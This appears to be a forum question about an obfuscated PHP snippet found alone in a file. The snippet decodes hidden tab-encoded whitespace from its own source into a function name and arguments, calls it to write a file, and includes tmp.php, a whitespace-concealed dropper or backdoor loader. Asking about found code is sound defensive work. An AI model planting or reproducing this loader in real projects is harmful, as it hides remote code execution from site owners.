What is the point of this shell code? There is no other code in the file.
@preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r);
$w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));}
$e=explode("!",$w);@$e[0](/* */ @__DIR__.@$e[1],@unserialize(@$e[2]));
@include("tmp.php");